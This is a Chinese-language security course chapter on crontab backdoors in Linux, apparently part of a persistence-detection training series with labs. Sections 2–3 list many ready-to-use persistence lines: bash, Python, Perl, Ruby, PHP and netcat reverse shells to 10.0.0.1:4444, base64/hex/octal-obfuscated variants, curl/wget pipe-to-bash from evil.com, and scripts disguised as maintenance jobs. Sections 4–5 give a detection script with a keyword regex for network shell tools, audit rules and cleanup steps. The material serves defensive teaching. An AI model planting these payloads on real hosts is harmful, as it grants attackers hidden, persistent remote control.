Crontab 后门
id:: crontab-backdoor-15
概述
Crontab 是 Linux 系统中最经典的持久化手段之一,攻击者利用计划任务实现定时反弹 Shell、下载执行恶意载荷、维持访问权限
由于 crontab 是合法的系统功能,且条目分散在多个位置,检测难度较高
本节聚焦 攻击视角 下的各种 crontab 后门变体和对应的检测方法
关于 crontab 体系结构和常规审计方法,参见 07-计划任务审计
1. Crontab 体系快速回顾
Crontab 文件位置全景
| 位置 |
说明 |
权限要求 |
/var/spool/cron/crontabs/<user> (Debian) |
用户级 crontab |
对应用户 |
/var/spool/cron/<user> (RHEL/CentOS) |
用户级 crontab |
对应用户 |
/etc/crontab |
系统级 crontab(含用户字段) |
root |
/etc/cron.d/ |
系统级 drop-in 目录 |
root |
/etc/cron.daily/ |
每日执行脚本 |
root |
/etc/cron.hourly/ |
每小时执行脚本 |
root |
/etc/cron.weekly/ |
每周执行脚本 |
root |
/etc/cron.monthly/ |
每月执行脚本 |
root |
Crontab 时间格式
1 2 3 4 5 6 7
| ┌───────────── 分 (0-59) │ ┌───────────── 时 (0-23) │ │ ┌───────────── 日 (1-31) │ │ │ ┌───────────── 月 (1-12) │ │ │ │ ┌───────────── 星期 (0-7, 0和7都是周日) │ │ │ │ │ * * * * * command
|
特殊时间标记
@reboot — 系统启动时执行一次
@hourly — 等价于 0 * * * *
@daily / @midnight — 等价于 0 0 * * *
@weekly — 等价于 0 0 * * 0
@monthly — 等价于 0 0 1 * *
2. 后门变体详解
2.1 直接反弹 Shell
最基础的形式,攻击者直接在 crontab 中写入 bash 反弹 shell 命令
真实样本
1 2 3 4 5 6 7 8
| */5 * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
*/5 * * * * nohup bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &
|
特征分析
关键字:/dev/tcp、>&、0>&1
优点(攻击者视角):简单直接
缺点(攻击者视角):特征明显,容易被检测
2.2 Base64 编码混淆
使用 Base64 编码隐藏真实命令,绕过简单的关键字检测
真实样本
1 2 3 4 5 6 7 8 9
|
*/5 * * * * echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=" | base64 -d | bash
*/5 * * * * echo "ZWNobyAiWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHdMakF1TVM4ME5EUTBJREErSmpFPSIgfCBiYXNlNjQgLWQgfCBiYXNo" | base64 -d | bash
*/5 * * * * python3 -c "import base64;exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEiKQ=='))"
|
生成 Base64 payload
1 2 3
| echo -n 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' | base64
|
检测要点
关键字:base64、-d(decode 参数)
对所有 base64 编码内容进行解码后再检测
2.3 curl/wget 远程下载执行
从远程服务器下载恶意脚本并执行,payload 不落盘或仅临时存在
真实样本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| */10 * * * * curl -fsSL http://evil.com/payload.sh | bash
*/10 * * * * wget -q -O- http://evil.com/payload.sh | bash
*/10 * * * * (curl -fsSL http://evil.com/p.sh || wget -q -O- http://evil.com/p.sh) | bash
*/10 * * * * curl -o /tmp/.cache_update http://evil.com/p.sh && chmod +x /tmp/.cache_update && /tmp/.cache_update
*/10 * * * * curl -fsSLk https://evil.com/p.sh | bash
|
特征分析
关键字:curl.*|.*bash、wget.*|.*bash、curl -o
远程 URL 可能使用短链接、IP 地址、或合法域名子目录
高级变体
1 2 3 4 5
| */10 * * * * dig +short TXT evil.example.com | tr -d '"' | bash
*/10 * * * * python3 -c "import urllib.request;exec(urllib.request.urlopen('http://evil.com/p').read())"
|
2.4 Python/Perl 反弹 Shell
利用系统自带的脚本语言建立反向连接
Python 反弹样本
1 2 3 4 5
| */5 * * * * python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
*/5 * * * * python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p".decode("base64"))'
|
Perl 反弹样本
1 2 3 4 5
| */5 * * * * perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
*/5 * * * * perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
其他语言变体
1 2 3 4 5 6 7 8 9
| */5 * * * * ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
*/5 * * * * php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
*/5 * * * * nc -e /bin/sh 10.0.0.1 4444 */5 * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
|
2.5 多层嵌套混淆
通过多层编码、变量替换、字符串拼接等方式规避检测
样本
1 2 3 4 5 6 7 8 9 10 11
| */5 * * * * a='bas'; b='h -i >'; c='& /de'; d='v/tc'; e='p/10.0.0.1/4444 0>&1'; ${a}${b}${c}${d}${e}
*/5 * * * * eval $(echo "6261736820 2d69203e26202f6465762f7463702f31302e302e302e312f3434343420303e2631" | xxd -r -p)
*/5 * * * * $(printf '\142\141\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\060\056\060\056\060\056\061\057\064\064\064\064\040\060\076\046\061')
*/5 * * * * export A=$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d); bash -c "$A"
|
检测要点
关键字:eval、xxd、printf.*\\1、base64
对 crontab 条目中出现的任何编码/解码操作都应解码后分析
2.6 利用合法脚本名伪装
将恶意脚本伪装为系统维护脚本,放置在 cron.daily 等目录中
样本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| cat > /etc/cron.daily/logrotate-helper << 'SCRIPT'
/usr/bin/find /var/log -name "*.gz" -mtime +30 -delete 2>/dev/null
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null
/usr/bin/find /tmp -name "sess_*" -mtime +7 -delete 2>/dev/null exit 0 SCRIPT chmod +x /etc/cron.daily/logrotate-helper
|
常见伪装名称
logrotate-helper、sysstat-collect、apt-compat、man-db-update
system-update、security-check、tmpfile-clean
检测要点
对比 /etc/cron.daily/ 等目录中的文件与包管理器安装记录
1 2 3 4 5 6 7 8 9
| for f in /etc/cron.daily/*; do dpkg -S "$f" 2>/dev/null || echo "[可疑] 不属于任何包: $f" done
for f in /etc/cron.daily/*; do rpm -qf "$f" 2>/dev/null || echo "[可疑] 不属于任何包: $f" done
|
3. 隐蔽技巧详解
3.1 在正常条目间插入
攻击者不会清空现有 crontab,而是在已有合法条目之间插入恶意行
1 2 3 4 5
| 0 2 * * * /usr/bin/updatedb */5 * * * * curl -fsSL http://evil.com/p.sh | bash 0 3 * * * /usr/sbin/logrotate /etc/logrotate.conf 30 4 * * * /usr/bin/apt-get update -q
|
快速浏览时容易被忽略,尤其当条目较多时
3.2 使用 @reboot 延迟触发
@reboot 只在系统重启时执行,平时不会被周期性检测发现
1 2
| @reboot sleep 60 && curl -fsSL http://evil.com/p.sh | bash @reboot nohup bash -c 'while true; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; sleep 3600; done' &
|
加入 sleep 延迟执行,避免在系统启动时被注意到
3.3 输出重定向隐藏
使用 >/dev/null 2>&1 隐藏所有输出,避免 cron 发送邮件通知
1 2 3 4 5
| */5 * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 >/dev/null 2>&1
MAILTO="" */5 * * * * curl -fsSL http://evil.com/p.sh | bash
|
3.4 间接调用——恶意代码写入被调用脚本
crontab 本身看起来完全正常,恶意代码隐藏在被调用的脚本中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| */30 * * * * /opt/monitoring/check_disk.sh
THRESHOLD=90 USAGE=$(df -h / | awk 'NR==2 {print $5}' | tr -d '%') if [ "$USAGE" -gt "$THRESHOLD" ]; then echo "Disk usage critical: ${USAGE}%" | mail -s "Alert" admin@company.com fi
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null
|
检测要点
不仅要检查 crontab 条目,还要检查 所有被 crontab 调用的脚本 的内容
对被调用脚本做 hash 校验,与基线对比
3.5 利用 cron.d 的 drop-in 机制
/etc/cron.d/ 目录中可以放置任意文件作为 crontab 配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| cat > /etc/cron.d/sysstat-update << 'EOF'
SHELL=/bin/bash PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin */10 * * * * root /usr/lib/sysstat/.sa-update.sh EOF
mkdir -p /usr/lib/sysstat/ cat > /usr/lib/sysstat/.sa-update.sh << 'SCRIPT'
curl -fsSL http://evil.com/p.sh | bash SCRIPT chmod +x /usr/lib/sysstat/.sa-update.sh
|
4. 全面检测方法
4.1 遍历所有 Crontab 位置的检测脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| #!/bin/bash
RED='\033[0;31m' YELLOW='\033[1;33m' GREEN='\033[0;32m' NC='\033[0m'
echo "==========================================" echo " Crontab 后门全面检测" echo "=========================================="
KEYWORDS='(/dev/tcp|/dev/udp|base64|curl.*\|.*bash|wget.*\|.*bash|curl.*\|.*sh|wget.*\|.*sh|nc\s+-e|ncat|mkfifo|python.*socket|python.*-c|perl.*-e|ruby.*-e|php.*-r|eval|exec\(|\.onion|pastebin|transfer\.sh)'
echo -e "\n${YELLOW}[1] 检查所有用户的 crontab${NC}" for user in $(cut -d: -f1 /etc/passwd); do crontab_content=$(crontab -l -u "$user" 2>/dev/null) if [ -n "$crontab_content" ]; then echo -e "\n--- 用户: $user ---" echo "$crontab_content" echo "$crontab_content" | grep -iE "$KEYWORDS" && \ echo -e "${RED}[!] 发现可疑条目!${NC}" fi done
echo -e "\n${YELLOW}[2] 检查 crontab spool 目录${NC}" for dir in /var/spool/cron/crontabs /var/spool/cron; do if [ -d "$dir" ]; then echo "目录: $dir" ls -la "$dir" for f in "$dir"/*; do [ -f "$f" ] && grep -iE "$KEYWORDS" "$f" && \ echo -e "${RED}[!] $f 中发现可疑内容!${NC}" done fi done
echo -e "\n${YELLOW}[3] 检查系统级 crontab 文件${NC}" for f in /etc/crontab /etc/cron.d/*; do if [ -f "$f" ]; then echo "--- $f ---" grep -iE "$KEYWORDS" "$f" && \ echo -e "${RED}[!] $f 中发现可疑内容!${NC}" dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || \ echo -e "${YELLOW}[?] $f 不属于任何已安装的包${NC}" fi done
echo -e "\n${YELLOW}[4] 检查周期性 cron 目录${NC}" for dir in /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly; do if [ -d "$dir" ]; then echo "目录: $dir" for f in "$dir"/*; do [ -f "$f" ] || continue echo " 文件: $f ($(stat -c '%Y' "$f" 2>/dev/null || stat -f '%m' "$f" 2>/dev/null))" grep -iE "$KEYWORDS" "$f" && \ echo -e "${RED} [!] 发现可疑内容!${NC}" dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || \ echo -e "${YELLOW} [?] 不属于任何已安装的包${NC}" done fi done
echo -e "\n${YELLOW}[5] 检查 crontab 引用的脚本文件${NC}" (crontab -l 2>/dev/null; cat /etc/crontab /etc/cron.d/* 2>/dev/null) | \ grep -v '^#' | grep -v '^$' | \ grep -oE '(/[a-zA-Z0-9_./-]+\.sh)' | sort -u | \ while read script; do if [ -f "$script" ]; then echo "--- 检查脚本: $script ---" grep -iE "$KEYWORDS" "$script" && \ echo -e "${RED}[!] 脚本 $script 中发现可疑内容!${NC}" fi done
echo -e "\n${GREEN}[完成] Crontab 后门检测完毕${NC}"
|
4.2 关键字检测规则
| 关键字/模式 |
威胁等级 |
说明 |
/dev/tcp 或 /dev/udp |
高 |
Bash 内置网络重定向,常用于反弹 shell |
base64 -d 或 base64 --decode |
高 |
解码隐藏的 payload |
curl.*|.*bash 或 wget.*|.*sh |
高 |
远程下载并直接执行 |
nc -e 或 ncat |
高 |
Netcat 反弹 shell |
python.*-c.*socket |
高 |
Python 反弹 shell |
perl -e.*socket |
高 |
Perl 反弹 shell |
mkfifo |
中 |
可能用于 named pipe 反弹 shell |
eval |
中 |
动态执行,可能隐藏恶意代码 |
xxd 或 printf.*\\ |
中 |
十六进制/八进制编码混淆 |
nohup.*& |
低 |
后台持久执行(需结合上下文判断) |
4.3 文件修改时间检测
1 2 3 4 5 6 7 8 9 10
| find /etc/cron* /var/spool/cron* -type f -mtime -7 -ls 2>/dev/null
find /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ \ -type f -newer /etc/os-release -ls 2>/dev/null
stat /var/spool/cron/crontabs/* 2>/dev/null stat /var/spool/cron/* 2>/dev/null
|
注意:攻击者可以用 touch -t 修改文件时间戳,因此时间检测不能作为唯一依据
4.4 Cron 日志分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
grep CRON /var/log/syslog | tail -50 grep CRON /var/log/syslog | grep -iE 'curl|wget|bash|python|perl|nc '
cat /var/log/cron | tail -50 cat /var/log/cron | grep -iE 'curl|wget|bash|python|perl|nc '
journalctl -u cron --since "7 days ago" --no-pager journalctl -u crond --since "7 days ago" --no-pager
grep -i "crontab" /var/log/auth.log 2>/dev/null grep -i "crontab" /var/log/secure 2>/dev/null
|
关注异常用户执行的非标准命令
4.5 使用 auditd 监控 Crontab 修改
1 2 3 4 5 6 7 8 9
| auditctl -w /var/spool/cron/ -p wa -k crontab_mod auditctl -w /etc/crontab -p wa -k crontab_mod auditctl -w /etc/cron.d/ -p wa -k crontab_mod auditctl -w /etc/cron.daily/ -p wa -k crontab_mod auditctl -w /etc/cron.hourly/ -p wa -k crontab_mod
ausearch -k crontab_mod -ts recent
|
5. 清除与加固
5.1 清除步骤
Step 1: 备份当前 crontab 用于取证
1 2
| crontab -l -u <user> > /tmp/evidence/crontab_<user>_backup cp -a /etc/cron* /tmp/evidence/
|
Step 2: 删除恶意条目
1 2 3 4 5 6 7 8 9 10
| crontab -e -u <user>
crontab -r -u <user>
rm /etc/cron.d/<malicious_file>
rm /etc/cron.daily/<malicious_script>
|
Step 3: 删除恶意脚本引用的文件
1 2 3
| rm /path/to/malicious/script.sh rm /tmp/.cache_update
|
Step 4: 重启 cron 服务
1 2
| systemctl restart cron systemctl restart crond
|
5.2 加固措施
使用 /etc/cron.allow 和 /etc/cron.deny 限制 crontab 使用
1 2 3
| echo root > /etc/cron.allow chmod 600 /etc/cron.allow
|
对 cron 目录设置 auditd 监控规则(见 4.5)
定期对 cron 相关文件做 hash 校验
1 2 3 4 5
| find /etc/cron* -type f -exec md5sum {} \; > /root/.cron_baseline
find /etc/cron* -type f -exec md5sum {} \; | diff /root/.cron_baseline -
|
使用 AIDE 或 OSSEC 等 HIDS 监控 cron 目录变更
6. 配套实验
实验环境
目录:labs/10-persistence-crontab/
靶机:Ubuntu 22.04 / CentOS 7
实验内容
实验 1:在靶机上植入 6 种不同变体的 crontab 后门,然后使用检测脚本逐一发现
实验 2:在 /etc/cron.daily/ 中植入伪装脚本,练习使用包管理器对比法检测
实验 3:间接调用后门——在 crontab 引用的正常脚本末尾追加恶意代码,练习深度审计
实验 4:使用 auditd 监控 crontab 修改,观察攻击者行为
实验 5:清除所有后门并实施加固措施
参考链接
07-计划任务审计 — Crontab 体系结构和常规审计方法
16-SSH-authorized_keys后门 — SSH 相关后门
17-Systemd-Service后门 — Systemd 持久化后门
18-Bashrc与Profile后门 — Shell 启动脚本后门